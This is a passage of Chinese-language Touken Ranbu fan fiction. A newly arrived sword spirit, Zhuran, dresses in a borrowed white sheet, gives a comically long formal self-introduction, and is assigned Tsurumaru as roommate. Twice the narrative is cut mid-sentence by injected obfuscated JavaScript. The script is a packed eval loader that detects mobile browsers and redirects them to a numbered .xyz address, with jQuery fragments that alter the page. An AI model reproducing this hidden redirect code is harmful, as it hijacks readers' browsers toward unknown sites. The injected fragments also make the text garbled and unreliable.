身高一米八六宽肩窄腰条顺盘靓的长船派光忠也自觉退出了比赛。 不愧大家说长船出牛郎,他们派除了打刀山姥切长义和短刀谦信景光,就没有低于一米八的,实休光忠甚至接近一米九,低头看人的时候压迫感十足。 最后只剩下了鹤丸国永和山姥切国广。 前者其实稍微高一点,但好在衣服是和式的宽松款。后者简直不要太合适,他如果和长义、祝染三个刃站在一起,就是 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但是祝染真的就像这幅景象描述的一样,眼睛里是绚烂的粉色风暴。 有点想看祝染樱吹雪啊。大家莫名想到了一起。 莫名其妙地在莫名其妙的比赛里胜出了、但感觉身高被羞辱了的山姥切国广,趁鹤丸和大家被祝染吸引了注意力,顺利地挤出了刃群,思考着要不要趁现在逃回部屋。 在拐角处伫足凝望一会儿后,他认命地叹了一口气,去拿自己多余的内番服。 但是无论如何,被单是不会给他的。 毕竟对方看起来很健谈活泼,出身也很优秀的样子,也不会像他一样……需要被单吧。 被被攥紧了他的被被在心里默默决定。 但最后,还是部屋离烛台切光忠很近的鹤丸先带着祝染去换了他的内番服,毕竟他们曾经同为伊达政宗公所有,关系亲近自然也住得近。 已经很久没有穿过和装的祝染在鹤丸的帮助下穿好了内番服,还把高马尾也散了下来,手指灵巧地用乱藤四郎赞助的小皮筋松散地扎了个低丸子盘在脑后。 他坚持发型也要跟衣服匹配才行。 乱藤四郎在一旁用一种妈妈看女儿般欣慰又骄傲的眼神看着,觉得新刃真是品味颇好。 其实乱对他的理念一开始就很接受,他外形就像女孩子一样秀气,喜欢穿漂亮的裙子,连甲冑也是粉色,是付丧神中出了名的爱漂亮,这时候很顺水推舟地就跟祝染讨论起了关于怎样配合穿搭改变发型的话题。 而早早出国没有被江户时期半剃头的“月代头”荼毒过审美的,还了解很多欧洲时兴盘发的祝染,在这个话题简直权威得可怕。 早已经对乱藤四郎习以为常的小短刀们都接受良好,只要有乐子什么都可以接受从某种意义上更恐怖的鹤丸也努力融入其中,学习一些也许整人能用上的造型技巧。 在祝染提到英国曾经流行过要把模型船顶在头上的超夸张发型的时候,他的心动已经无法掩盖了,简直火辣酷毙啊。 “女高中生吗……你们是。”拿着内番服归来的山姥切国广回来的时候就是这样的氛围。 “被被先生——欢迎回来!”已经跟在场付丧神们了解了很多本丸知识,还顺便恶补了一下日本史的祝染相当自然地向他笑着挥手欢迎他,其他刃也迅速小幅度地挪动着让出可以坐下的位置。 山姥切国广,虽然害羞但是非常可靠的,受大家喜欢的初始刀,超帅的。 “谁是被被啊……别看我。”山姥切国广猛地被人超大声呼喊,身体一僵瞬间修红了脸单手蒙紧了被单恨不得立刻隐身,但另一只手还不忘把内番服递给祝染。 “欸——!没有被单吗!”祝染接过内番服,很惊讶地发出质疑。 “没有。”山姥切国广在他对面坐下,偏过头去不去看他。 “可是被单好帅呀,人家超想要呢……失落失落。”假装女高中生的祝染假装失落,装作很伤心垂泪的样子倒进了鹤丸怀里。 鹤丸国永也很配合他地揽着他的背轻拍着,装出遗憾伤心的样子:“小染……想哭就哭吧,鹤的臂膀给你依靠。” 完全是道德绑架啊你们两个。 哪有人的失落是自己读出来的啊。 为什么得不到被单就要哭啊。 山姥切国广累觉不爱。 一整个下午,一群经历了半流浪的刀剑们坐在温暖干燥的部屋里,团团围坐在矮桌前吃着烛台切光忠提供的小点心,嬉笑打闹,五虎退的小老虎窝在大家中间,幸福地眯起了眼。 7. 七舅姥爷这里有可恶京都男 本丸食堂的灯光明亮温暖,桌子上已经摆好了今天的菜肴,无论是出阵、远征还是内番,忙碌了一天后的付丧神们都三三两两地结伴往食堂内走去。 而他们的审神者桃濑灯里也没有闲着,她和山姥切长义、压切长谷部、一期一振、还有路过的人道主义者松井江、从政府述职回来的政府刀源清麿、水心子正秀,硬生生组出来了一个六刃带一审的标准小分队,与公文酣畅淋漓大战一天,过着男写女批的原始生活,现在每个人的脸上都是对世俗欲望的厌倦。 卖命工作的生活没有一点甜头,好减脂。 如果不是想到还有食堂烛台切光忠和歌仙兼定的晚饭在召唤,现在就已经站成一排在天守阁cos沈明珠荡秋千了。 桃濑灯里和一众付丧神筋疲力尽地朝食堂走去,却看到食堂门口聚集了小部分的刃群——是来派的三人,和江家的村云江、五月雨江,他们像在犹豫什么一样,迟迟无法迈出步伐。 而听到脚步声的刃群们也齐齐回头望去,看到是桃濑之后很激动地招呼她上前。 “姬君!雪女显灵了!”来派的小短刀爱染国俊很激动,他和萤丸一左一右抱着桃濑的胳膊把她拉到了最前面。 雪女似乎是和“山姥切”中的山姥一样的妖怪,为什么要这么兴奋啊。 “太好了是雪女,我们要不别吃饭了回去吧。”明石国行懒洋洋地把身子靠在门框上,语气平淡根本看不出什么高兴的意思,他相当消极地提出了完全不相关但是对他来说可以回去睡觉的建议,作为来派的监护人起到一个站桩的作用。 村云江和五月雨江垂在身后的尾巴警惕地不停摇摆。 桃濑灯里颇为没有道德地先撸了两江的狗头,才顺着光线向里看去。 那人静静地伫立在食堂的桌前,通身雪白,宽袖松垂,衣摆轻轻曳地,外面还披着一条白单,布料层层叠叠,随着他的动作微微摇曳,把他整个人笼进洁白的光影,像是一场静雪。 眉目清冷,白得过分的发丝从肩头吹落下来,肌肤也白得在温亮的灯光下接近透明。 他眼底的粉色反倒像是雪夜里偶然掠过的一点霞色。 刹那间,食堂安静得连晚风吹过的声音都清晰可见。 众刃下意识地屏住了呼吸。 桃濑灯里愣在原地仔细打量了一下“雪女”的真面目,好一会儿才憋出一句话: “祝染,你是怎么拿到被被的被单的。” 毕竟歌仙兼定对此觊觎已久,都很难得手。 九九成,稀罕物啊。 如果说本丸里山姥切国广第一喜欢这条被单的话,那歌仙绝对排得上第二,想清洗干净的执念久久不散。 “凭本事求来的。”对面的人眨巴着眼睛很诚恳地有问必答。 没错,雪女其实就是祝染。他穿着鹤丸的内番服,又软磨硬泡来了山姥切国广的被单,所以此刻才看起来一身雪白。 而原本和他一起开茶话会的小短刀们各回各的部屋和兄弟们一去来食堂了,鹤丸和山姥切又被烛台切光忠拜托了一起去后厨分餐,所以才会剩下他一个刃在这里装神弄鬼。 被喊破身份的祝染伸手把被单从头顶揭下,露出明朗的笑容向桃濑灯里扑去,那份属于雪女的冷艳顷刻破碎,变成春日里破雪的阳光: “姬君大人——!好久不见,人家想你啦。” 被山姥切长义抬手和压切长谷部联手制止了,两人上前一步抬手架刀将他拦在半步之外。 履历成谜,过分热情,绝对居心不良!压切长谷部很警惕地盯着他。 “真的吗,那谢谢你哦。”桃濑灯里倒是很适应这人阴晴不定的精神状态,无奈地揉了揉眉心,毫无灵魂地敷衍道。 这方面还蛮像兔子的,激动了撞人,高兴了咬人,不动不闹的时候就是在预谋使坏,动物界有自己的小号比格。 萌系爱好者桃濑灯里无情兔塑祝染。 食堂灯火通明,能回来的付丧神们都齐聚一堂,晚膳刚刚端上桌还冒着热气,他们按照以往的习惯三三两两纷纷落座,然后将目光齐刷刷地聚集在桃濑灯里的身上。 本丸的食堂设计的很有创意,还有小舞台和电子屏,平时可以用来唱ktv,喝多了的次郎太刀和日本号很喜欢在这里趁着酒意一展歌喉。 是桃濑灯里在建造的时候刚好上了大学,特别借鉴了大学食堂的结果。 此时,桃濑灯里作为本丸的审神者站在台上,大刀阔斧高谈阔论地主持着局面: “今晚我们齐聚在这里,是为了庆祝顾里的生日……不对,是为了介绍新来的付丧神。”期末周没少看剧的坏处在此时显现出来了,险些说错话的她正了正表情找补道:“祝染,你先自我介绍一下吧。” 祝染原本坐在鹤丸的旁边,此时听到她的指令,顺从地站起身来,脊背笔直,微微躬身行李致意,粉色的眼眸在灯光下闪着光,声音清越,表情也是一派温和端正: “诸位前辈躬耕于内番、外务、膳食、清扫诸务,亲炙日光、雨雪风霜,实乃勤恳不辍之贤者,承蒙诸位今日拨冗莅临,得以与各位共襄一席,一同共享这份珍贵的餐食与交流的时光,实在是万分荣幸、不胜惶恐,在此谨以卑微之身、拙劣之语,表达谢意中万分微薄之一二。” 语调高低起伏,像唱歌一样,耳熟又陌生。 似乎是京都腔。 姿态也很谦卑,但内容似乎不太对,但是具体说了什么好像听见了,但是又很丝滑地从大脑皮层滑过去了。 很多刃和桃濑灯里开始放空大脑宇宙猫猫思考,但还是努力地竖起耳朵试图消化。 离他最近的鹤丸靠在桌沿偷笑,和祝染堪称一见如故的他已经意识到了这家伙想干什么,事情喜闻乐见地往他喜欢的方向发展了。 “鄙刀拙名祝染,藤原氏刀工祝部国秀受命为六条天皇陛下所铸造的供奉于神祇之拙作,国秀十生有幸得陛下厚爱,为祈福人间安宁,敬拟拙名,寄托以吉祥之色护佑万民之美意,是否有文献支持迄今已经不可考证,在下亦不敢妄自揣测,只愿望诸君能以此一名呼唤时,不嫌拗口,垂耳恭听,不成敬意。” 说到这里,祝染微微停顿似乎是在继续措辞。 明石国行的头已经开始像上高数课的现世学生一样小鸡啄米,萤丸和爱染国俊虽然也没听进去,但是还是悄悄地在桌子下戳他,让他保持来派礼貌的门面。 而下午跟他玩得还算愉快的今剑已经有些困倦了,头靠在岩融的肩膀上开始数头顶食堂吊灯的水钻。 三日月宗近倒是神色自若地继续喝茶,面上笑意清浅似乎在仔细倾听。 自诩比较可靠的几把政府刀和近侍刀还在面色严肃地倾听,但是仔细看去眉头都皱了起来。 桃濑灯里莫名共情自己做六级听力。 “至于来历,若要赘述,恐怕要劳烦各位听上三日三夜也难以详尽——不过既然今日是初次见面,不妨仅以寥寥数语交代:鄙刀虽有幸生于东土,然后半生辗转西洋,有幸得入本丸,对规矩尚未熟知,若有言行不敬、不周、不谙礼仪,敬请诸位前辈届时务必以鞭策教诲之意,不吝斥责。” 说到这里,他鞠了一躬。 此时,不少像膝丸这样性子比较直爽也比较急的刃已经面露呆滞。 而膝丸旁边的髭切却饶有兴致地撑着下巴,像是看戏。 连想来温和稳重的石切丸,都偷偷在桌下双手合十低声念叨着“天照大神在上……请求赐予我耐心。” “哈——”今剑实在撑不住了,直接倒进了岩融的怀里,“是不是…….是不是结束了……?我刚刚好像听到了春天的鸟叫了。” “哈哈哈,只是你饿出幻觉了。”旁边的三日月宗近一语中的。 “现在本丸是秋天。”岩融伸手盖住了今剑的眼睛,让他撑不住就睡一会儿吧。 祝染仍旧滔滔不绝,客气但没用的敬语像甩卖一样往外冒: “今日之初见,诸位之贤明、仁厚、辛劳,令鄙刀敬仰不已,鄙刀无从回报以等量之恩情,心中仍觉愧对各位长久以来的辛勤。若在未来岁月里,得以共奉一方、效力本丸,尽绵薄之力,则为幸甚。然而末学资质愚钝,内心十分惶恐。虽说今日能够在此安身立命,实乃三生有幸,如能分担些微劳作,或在出阵之时助一臂之力,便是鄙刀最大的欣慰。倘若言行之间不慎冒犯,还望海涵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411472|184602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包容,今后还请多多关照,恳请赐教。” 他顿了顿,目光环视过众人,又迅速弯下腰低下头去去,像是怕空气不够恭敬。 第几次鞠躬了,是在拜天地吗。 祝染的自我介绍就像年级主任开会一样的冗长和官方,许多坐得近的刀剑已经交头接耳开启了小差。 新选组的桌位上,和泉守兼定张了张嘴,又谨慎地闭上,放低音量问旁边的堀川国广:“国广……他说完了吗?” 堀川国广面色凝重地摇摇头,伸手搭在和泉守兼定的手上轻拍安抚。 大和守安定觉得自己刚刚好像环球航行了一圈,不然此时怎么会对日本语如此陌生又违和,他开始回忆,但语气相当痛苦:“这家伙叫什么名字来着?” 加州清光翻了个白眼:“说了一大堆,重点就一个啊——他叫祝染。” “最后,鄙刀再谨以最谦卑之心,鞠躬一礼:诸位前辈、同侪、厨房诸君、各位守护本丸之刃——请多多关照。今日初次拜会,望日后共事之时,笑言嬉戏、指点教诲皆不吝赐予,鄙刀定当铭记于心,力行不懈。” 听到时间定语的众付丧神们精神为之一振,虽然什么都没听进去,但至少要结束开饭了。 从来没有觉得烛台切光忠做的饭有这么香过,食物的香气弥漫在相当煎熬的空气中若即若离,简直诱人得是犯罪。 而此时眼看着祝染看着话语未尽,又要开始弯腰鞠躬,他们又无望地开始泄气。 而祝染在躬身抬起后,打破了刚刚面无表情的严肃,嘴角微微勾起笑意,眼底闪过了一抹狡黠的笑意: “啊——鄙刀,祝染,今日初次拜会,自我介绍言尽于此,今后还请诸位多多关照。” 食堂顿时响起无比热烈的掌声,每个刃的脸上的表情都诚恳真挚。 简直是恍如隔世。 把所有人刚刚的痛苦和煎熬都尽收眼底的鹤丸已经笑趴在桌上,脊背起起伏伏:“哈哈哈……染酱,这个自我介绍真是好大一个惊喜啊!” 桃濑灯里听到掌声和鹤丸的如梦初醒,迷迷糊糊地问道:“讲完了……?” 白天卖命工作,晚上还要听祝染用拗口难懂的京都腔念比命都长的自我介绍,她听到一半就已经靠在山姥切国广的肩上昏昏欲睡了。 山姥切国广拽紧被单,顶着压切长谷部羡慕又愤恨的目光僵硬地小幅度点点头,低声道:“讲完了。” 光是自称都换了五六个,全程听到尾的山姥切国广已经精神恍惚了。 桃濑灯里拍了拍脸让自己打起精神,尽职尽责地站起身来结合她上午的谈话信息给大家总结道: “好了,总之这位来自平安时期的可恶留洋京都男,作为暂未实装的刀剑,被政府暂时寄养到了我们的本丸,就是我们本丸的一份子了,大家多多关照。” 语言干练,信息量极高。 听姬君一席话,胜听十席话。 “欸——!!!” 众刃先是感动地点头认同,然后不约而同发出目瞪口呆的惊叫。 桃濑灯里和他们面面相觑,大眼瞪小眼,不太理解他们为什么这么惊讶,祝染不是已经自我介绍过了吗。 “祝染殿……未实装吗?”南海太郎朝尊向来讳莫如深的表情也有点僵硬,作为政府特命调查员的他很清楚这意味着什么——未知的风险。 “暂时寄养吗,很有趣呀。”另一个可恶平安京都男髭切操着软绵绵的嗓音感叹道。 “哈哈哈,姬君还真是话语间杀伐果断。”又是一个可恶平安京都男三日月宗近笑眯眯地夸着桃濑。 看众人一知半解的样子,已经明白了祝染刚刚那一大段话废话含量比她想象中还要高的桃濑灯里把杀人的目光投向了祝染。 祝染迎着她的目光,面上又带上了灿烂的笑容,朝她眨了眨眼。 这家伙是故意的。 桃濑灯里秒懂,并步履从容地走过去给了他和鹤丸国永一人一拳,宣布先开餐,其他问题餐后再说。 为什么要带着鹤丸,大概是因为两个人都笑得很可恶吧。 经过了京都冗长敬语演讲的折磨,空气中充满了欢愉的气息。 8. 七舅姥爷这里有小熊猫 晚饭撤去,食堂里的热闹的气氛却没有消褪,在饭前被祝染折腾了一顿、对新伙伴感官很微妙的付丧神们没有着急离开,反而自然而然地搬着凳子,在小舞台边上围成了一圈,闲谈间话题落在了祝染身上。 就在刚刚,祝染顶着压切长谷部虎视眈眈的目光,在鹤丸的帮助下,强行突破重围挤到了桃濑灯里旁边的位置。 “小染!快走!带着鹤的希望去吧!!!” 所有刃里最活跃的,莫过于显然是笑够了也吃饱了的鹤丸国永,他现在一身使不完的牛劲,一边左右横跳伸长胳膊搂住压切长谷部的上身对他进行防守,一边见缝插针地伸出另一只手演自我牺牲的悲情战友。 “鹤丸——!”祝染也伸出了他的手,声音悲切,隔着已经要被鹤丸勒死的风中残烛般的长谷部,和鹤丸遥遥相望。 气氛渲染到下一步简直要执手相看泪眼然后天人永隔了。 但是表演归表演,祝染依旧稳稳地坐在桃濑灯里身边,上半身演得情真意切,下半身继续坚如磐石。 最佳视角欣赏两个刃的苦情戏的桃濑灯里想笑又不敢笑,艰难地思考着如果他们两个被长谷部压切的话,自己该摆出什么表情。 压切长谷部,是一把忠心耿耿的、典型的主控刀——上得厅堂下得厨房,只要能和审神者待在一起,即使帮忙处理繁琐的公文都会樱吹雪,完全不会拒绝主人的任何要求。 甚至如果不是审神者们会因为羞耻选择拒绝,他也很愿意抱着审神者行走,让主人连脚都不需要沾地。 而据一些精神状态相当自由的、体验过这项服务的同事分享,作为打刀的长谷部的机动出乎意料得高,跑起来风驰电掣完全不逊于短刀,从此在审神者间流传着“梦幻坐骑长谷部”的美谈。 综上所述,时政论坛上大部分审神者都会把压切长谷部这把“主命至上”的刀,作为忠犬系的典型。 但他并非只有对审神者千依百顺的一面,恰恰相反,狂气自信才是压切长谷部的底色。 作为曾经有“第六天魔王”之称的织田信长所拥有的刀,他锋利到能将柜子和藏身其中的僧人一起劈成两半,因此得名“压切”。 而后来,他被织田信长送给了当时连直臣也不是的黑田家,一直对织田信长感到不满,也迁怒觉得“压切”这个名字十分野蛮,不愿意让人这样称呼他,似乎也是因此变得格外计较主人对他的态度,想要证明自己的价值。 好在虽然有着被转赠的经历,但压切长谷部却并不缺少主人的爱——历史上的黑田家对他万分珍惜,奉为传家之宝,他也因此保留了性格中骄傲自信的一面。 所以,他对主人信任的渴求并不是沙漠在汲取即将干涸的水源那种病态的依赖性,而是更像为本身就足够闪耀的自己证明。 锋利,坚定,自信,正直。 这就是压切长谷部这把刀本身。 而在化为付丧神后过于能干的他,更是被誉为“废审制造机”,是每个本丸都可靠的存在。 但是,话虽如此,眼前可怜的压切长谷部,已经像他总是挂在嘴边埋怨的前主人一样,头冒魔王般的黑气了啊喂。 桃濑灯里不忍直视。 好在两个刃适可而止见好就收,长谷部也不想在姬君面前表现出血腥暴力的一面,他只是狠狠地给了鹤丸一个后肘击,就姿态骄傲地搬着凳子坐进了桃濑灯里旁边的其他位置。 是山姥切国广裹着被单给他挪的。 毕竟饭前介绍的时候,没能给主君当上枕头压切长谷部的怨气就很大。 今晚,C7418号本丸于食堂召开专项会议,主要围绕新刃祝染的安置问题展开民主协商,审神者桃濑灯里同志亲自主持会议并发表重要讲话,强调要始终坚持“刀剑同心、和谐发展”原则,以提升本丸全体刀剑男士幸福感为出发点,科学规划、合理分配资源,让祝染感受到本丸大家庭的温暖,为维护历史争议做出更大更新的贡献。 “那么,他住哪里?”虽然不知道桃濑灯里为什么要演这一出,是不是下午批文件批疯了,但是职业素养极佳,党性修养更强的、一直在抱着胳膊听领导讲话的专业公务员山姥切长义同志率先发问,一语中的。 “本丸现在的部屋都是满的,扩建的话也需要时间。”一期一振正襟危坐,但抱着弟弟的小老虎手下动作十分温柔娴熟地一边梳毛一边开口补充道,另外四只还没有排上队的小老虎着急地趴在他的腿边伸爪子扒拉他的裤脚,被五虎退慌慌张张一把搂回了怀里。 “打地铺?”和泉守兼定随口提到。 “怎么可以随便让人家打地铺!”都不需要思考,祝染自己先迫不及待地跳出来反驳,双手捂面故作娇弱地从指尖缝隙看向桃濑灯里,目光盈盈地落在她身上: “人家初来乍到,其实内心特别脆弱惶恐,如果一定要打地铺的话,那也得是姬君陪着,走廊就可以,人家不挑。” 图穷匕见,然后被桃濑灯里无情地miss了他的眼神攻击:“好主意,驳回。” “让新人睡地铺确实不好,不能表现出我们的友好团结。”长谷部严肃地主持大局,颇有成熟的话事人风范:“哪怕是主君的房间门口万分光荣,但也还是简陋地铺,太失礼了。” “所以,我认为新刃必须要有独立房间,或者至少与可信赖的刀剑共处,以便互相帮助尽早熟悉本丸事物。” 其实就是不想让祝染睡桃濑灯里附近的压切长谷部正义凛然。 “可信赖的刀剑?”被压切长谷部的痛击后缓了有一会儿的鹤丸立即举手,笑嘻嘻地凑过来自荐:“这完全就是鹤,可靠,自律,还和染酱关系不错,让我们住一起绝对会惊喜连连的!” 鹤丸国永到底能不能意识到这几个形容词跟他一点关系也没有,就只有一句和祝染关系好是实话。 在跟祝染对谈的时候,桃濑灯里就察觉到了他的本性也是有点爱搞事的,跟鹤丸国永应该会很玩得来,而知道祝染会暂时留下后,她也做了觉悟本丸从此会永无宁日,所以他们两个一见如故关系突飞猛进是她的意料之内。 但她的心理准备显然是做少了,谁都没办法接受批了一天公文后本丸多出来一对恶趣味相投的白色双胞胎的冲击。 “鹤丸先暂缓,还有其他备选吗?”桃濑灯里面对祝染的提议无情拒绝,也对鹤丸一视同仁地实施镇压。 她把目光投向其他付丧神们。 说实话,可靠可信在本丸并不是什么很珍贵的品质,绝大付丧神都能满足条件,但是,刃不会无缘无故与生俱来地可靠,他们一定是被信赖着所以才慢慢培养出这样的能力,所以他们原有的居住条件不好调整,很多已经跟自己的家人住在一起的付丧神们就因此被排除了,包括家族刃丁兴旺的粟田口一期、长船派的烛台切光忠,和住在一起的新选组。 还有一些现在远征不在的付丧神也要被排除,不然回到部屋之后发现一个陌生室友也太地狱了,又会是一场血战。 她最先看向了最早来到本丸的初始刀山姥切国广——他们从最开始开荒时期就称得上相依为命。 被被因为作为仿刀的缘故一直很缺乏自信,但并不会因此自暴自弃拒绝去付出自己的努力,他其实工作能力很强,不管是处理公务还是作为队长带领出阵,都能尽心尽力地完成,甚至会因为被交付了责任而更加卖力冲锋陷阵,总是把自己弄得伤痕累累,非常地可靠且强大。 谦卑和努力地做得更好,是山姥切国广的常态。 而在知道他的故事之后,桃濑灯里会一遍又一遍地夸奖他,告诉他他并不会因为是仿刀就比任何刃差,是名副其实的国广的第一杰作。 内敛的被被虽然总是说着不要看他、不要夸他漂亮之类的话,但他其实更需要被看见。 桃濑灯里甚至曾经还和山伏国广一起拉着他谈心,在“咔咔咔”的笑声中喝多了,拍着胸脯也跟着喊他“兄弟”,做足了肝胆相照这一块。 金发青年此时正沉默地把自己缩进了被单里低着头,漂亮的碧绿的眼睛藏在阴影下不跟任何人对视。 看来虽然被被会把自己的被单分给祝染,但他现在的姿态是还不打算和这位新的付丧神当室友。 当然,如果强行交给山姥切国广,他一定不会拒绝。 但桃濑灯里果然还是想让被被生活得更自由一点,内敛无所谓,只要不影响到心理健康,按照自己喜欢的节奏就很好。 看完了被被自然要看本本,这就是审神者端水的智慧。 桃濑灯里又看向山姥切长义。 作为本歌的公务员小伙和被被截然相反,是美丽骄傲且自信满满的。 作为刀来讲,他能被刀匠精细地刻下长达五十八字的刀铭,可见其满意程度,称得上是毕生心血中的最佼佼者也不为过。这份人尽皆知,连他自己也知道的优秀,让本作长义不管面对什么困难都会自信满满。 而在聚乐第的特命调查中,作为时政的监察官他和桃濑灯里虽然没有直接并肩作战,但在情报与探查上也非常出色,工作能力自然不必多说。 但自信的本本在做室友这一块缺点也很明显,一方面个性强烈的他有些独断专行,如果不是很随和的刀剑可能会无法包容他,而祝染这一天都没演完的公主病显然不在此列。 另一方面,本本是时政的公务员,虽然已经来到了这个本丸、但依旧给时政工作的忙碌的公务员小伙显然不适合和黑户住在一起,起码现在不行。 桃濑灯里简直不敢想本本辛苦工作一天回到部屋发现一个黑户披着白色被单像蟑螂一样优哉游哉地躺着,会不会一怒之下直接把祝染逮捕送公,然后祝染喜提铁窗泪,桃濑灯里喜提本丸降级。 同理,其他政府刀也暂不考虑。 虽然是时政说的暂时寄养,但毕竟祝染还没有合法身份,而且祝染显然也有自己的隐秘,偏偏这个家伙还很喜欢故弄玄虚装神弄鬼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411473|184602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说的东西都劲爆得很,如果不是警匪片和侦探片爱好者还是不要这样安排了。 然后桃濑灯里还是忍不住看了看一期一振和他的一群弟弟,又在眨眼之间几乎没什么波动地就立刻否定了。 如果捡的是把短刀的话,卖惨丢给一期一振还勉强强说得过去,但是一期哥如果带弟弟的同时,还要带一个老大不小的比格祝染,就有些太苦命了。 难道祝染要跟着包丁、博多他们一起排队洗漱,然后听一期一振讲白雪公主的睡前故事吗。 画面实在太美,桃濑不敢想。 虽然作为粟田口吉光的荣耀的太刀青年堪称是最强付丧神保育员,能够游刃有余地照顾好十四个弟弟,还能兼顾近侍的工作,但是支持一期一振刃权。 三日月宗近?更是不可能。 这个家伙虽然活得久也很有岁月沉淀的智慧,大事上杀伐果断无比可靠,但是在日常生活中就是个躺平的老爷爷,跟明石国行放到一起也算是另一种意义上的懒了。而且三条派的部屋人也不少了。 把他跟祝染放到一起,祝染学会逃番尬笑简直指日可待。 说到明石国行,来派也是没法考虑——虽然是大太刀但是小孩子样貌的萤丸和小短刀爱染国俊甚至要反过来照顾他们的监护人,一千个明石国行里一千零一个都是懒蛋,不能再虐待儿童了。 哪怕现在时政职能扩展,在面向一些付丧神开放选拔性考试和工作,俗称公务员考试,万屋已经经常会有付丧神执法队出没,但是也几乎没见过明石国行这振刀的身影。 铁饭碗什么的,对付丧神没什么诱惑力啊。 桃濑灯里接着看向了压切长谷部。 他是一个刃住的,忠诚、可靠都是他的代名词,看起来简直再合适不过。 如果能确保祝染不会突然挑衅他被他压切了的话。 因为不想让压切长谷部因此沦为杀刃犯,也不要这样做了。 看来看去,桃濑灯里的目光最后无可避免地落在了鹤丸国永的身上。 俗话说,当你凝视深渊的时候,深渊也在凝视你。 而当桃濑灯里望向鹤丸国永的时候,最开始被她无情镇压的金眸青年也正在可怜巴巴地看着她,眼睛像会说话一样,波光粼粼地充满了期待,翘起的发尾像小狗耷拉的耳朵一样。 鹤丸国永是平安时期五条派的太刀,和祝染年龄还真称得上相仿兴趣相投,而且也刚好在独居当中,虽然把两个刃凑一起本丸肯定会被这一对魔丸搅得天翻地覆,但总归不能把本丸拆了。 其实桃濑灯里挺想把目光移开去看歌仙兼定之类的,但是最后还是没能逃脱出那对金色的湖泊。 “好吧,就你了鹤丸。”她无可奈何地败下阵来,叹了一口气。 没关系的,反正歌仙也很怕生。桃濑灯里安慰自己道。 “耶!”鹤丸国永高兴地高高举起双手,示意自己成为了MVP。 “耶——!”祝染也高兴地举起双手为他庆祝,两个雪白雪白的家伙像一对小熊猫一样面对面欢呼雀跃。 “姬君放心,作为本丸教育番长鹤会好好教育染酱的。”鹤丸国永信誓旦旦。 桃濑灯里先是下意识点头表示支持,然后又微微愣了一下反应道:“你什么时候当的教育番长?” 不知道啊,没刃通知她啊。 “因为巴形薙刀出去极化了,教育番长的徽章就被鹤丸暂时保管了。”压切长谷部很尽职尽责地开始回忆,然后补充道:“主君放心,这三天鹤丸没上过课,巴形薙刀明天也回来了。” 听到没有刃遭到鹤丸的迫害然后剑走偏锋走向邪路,桃濑灯里大大放心。 “鹤丸国永,你因为玩忽职守被撤职了。”但她还是把鹤丸的教育番长收了回来,用一个光明正大的理由。 “耶。”虽然失去了职务但是得到了室友的鹤丸国永继续保持乐观。 决定完祝染和谁住之后,后续要讨论的内容就简单轻松了很多,都是一些细节性的问题,比如祝染暂时穿谁的内番服,后续几天是优先出阵还是其他工作。 最后经过一番研讨,桃濑灯里同志作出了重要指示,让本丸身高和祝染差不多的付丧神们先各匀一套内番服供暂时穿着,生活用品就让祝染自己去万屋采买,预算找博多藤四郎批准,工作则优先手合和出阵,近侍工作暂时不安排,毕竟祝染还不一定会留下,内番的工作一天两天也教不会。 大家一起解决完所有问题之后,时间已经从黄昏来到了深夜,雨后的本丸天空澄澈没有任何阴霾,一轮皎洁的弦月悬挂在空中,院外传来窸窸窣窣的虫鸣。 桃濑灯里潇洒散会后拖着疲惫的身躯在近侍烛台切光忠的陪伴下回天守阁,众刃也结伴有说有笑地从走廊往部屋走去,经过一晚上的研讨,大家和祝染熟悉后关系都亲近了不少,路过他和鹤丸的时候,除了小短刀们之外,结伴而行的加州清光和大和守安定也自然地跟他们互道晚安。 9. 七舅姥爷这里有公务员 第二天的早上,祝染和鹤丸一刃头顶着一个包精神萎靡地出现在食堂,并且一看到在食堂监督弟弟们饭前洗手的今日近侍一期一振就开始抱团瑟瑟发抖,把头埋下去试图缩减自己的存在感。 但是现在又不是冬天室外,两个雪白雪白的球怎么看都很显眼。 只要有眼睛,都能很轻而易举地就发现他俩的行为不正常,哪怕是闭着眼睛的数珠丸恒次也可以,只不过这位清冷佛子并不在乎。 但是数珠丸恒次不在乎,有的是其他刃好奇。 刚好进门的加州清光作为战地记者仗义地撸起袖子代表大家凑过去一探究竟,音量正常让在场所有人都能听到:“阿啦,染酱和鹤丸,你们怎么头上长包了,需要刃道主义帮助吗?” “哈哈哈….鹤夜盲撞墙上了。”鹤丸国永少见地露出勉强的笑容,看起来是给自己找了个听起来有几分道理的理由,毕竟是太刀,夜战侦查低一点也很正常。 “哈哈哈….不小心撞门上了。”不是一家刃不进一家门,他新鲜出炉的室友祝染也不约而同选择了尴尬的假笑掩饰。 “哈哈哈,那还真是不容易啊。”听这行云流水般舒畅的和蔼的笑声,感情饱满真挚,衔接自然流畅,这就是本尊和赝品的差距——三日月宗近笑眯眯地附和了两人没什么技术含量的糊弄。 “鹤丸殿,祝染殿,真的没问题吗?”一直在忙着安置弟弟的一期一振终于忙完了所有事情走了过来,他忧心忡忡地伸手递出了手中的跌打药:“这是药研托我交给你们的,味道可能有些大,最好饭后涂。” “下次晚上要慢慢跑啊。”一期一振微不可察地叹了一口气。 习惯了照顾弟弟们的粟田口大家长面对这两个大号的熊孩子也下意识地体贴照顾。 